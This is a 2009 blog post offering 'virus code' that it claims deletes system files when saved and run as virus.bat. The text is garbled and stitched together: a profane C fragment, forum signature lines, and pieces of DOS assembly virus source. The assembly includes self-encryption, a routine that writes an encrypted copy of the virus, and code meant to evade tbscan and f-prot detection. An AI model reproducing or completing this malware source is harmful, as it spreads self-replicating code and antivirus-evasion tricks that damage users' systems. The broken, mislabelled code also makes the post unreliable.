Wednesday, June 10, 2009

virus code - dont use in ur PC

write the following code in a notepad
save it as virus.bat
then if anyone clicks that virus.bat file
the system files will gonna b automatically b deleted

char *vir;
printf("FUCK YOU ALL");
printf("The Bomber");
} Apr 22 тнє mคd яuรรιαη™
.model tiny
.radix 16
org 100h


first_gen_buffer db 00,00,00,00 ; for first generation only!



mov sp,102h ; get the delta offset so tbscan cant
call get_delta ; flag it as flexible entry point
mov bp,word ptr ds:[100h]
mov sp,0fffeh
sub bp,offset get_delta

mov ax,0305h ; this code was included to avoid detection
xor bx,bx ; from tbscan. The vsafe disabeling code can
int 16h ; be used as well, but f-prot heuristics
; complains about it.

call en_de_crypt ; decrypt the virus
jmp short real_start ; and continue...

encrypt_value dw 0 ; random xor (encryption) value


call en_de_crypt ; write encrypted copy of the virus
mov ah,40 ;
mov cx,code_end-v_start ; # bytes
lea dx,[bp+v_start] ; dx:100h
int 21 ;
call en_de_crypt ; decrypt virus again for further processing
ret Apr 22 тнє mคd яuรรιαη™

mov ax,word ptr [bp+encrypt_value]
lea si,[bp+real_start]
mov cx,(enc_end-real_start+1)/2


xor word ptr [si],ax ; encrypts two bytes/loop until all
inc si ; code between real_start and enc_end
inc si ; are encrypted
loop xor_loopie


cmp word ptr cs:[5dh],'?-' ; check for -? in the command line
jne chk_cond ; no valid virus option!

mov ah,9 ; tell them that i wrote the virus,
lea dx,[bp+offset v_name] ; and quit without infecting!
int 21h
int 20h


mov ah,2ch ; get time of 1/100 of a second value from
int 21h ; the system clock

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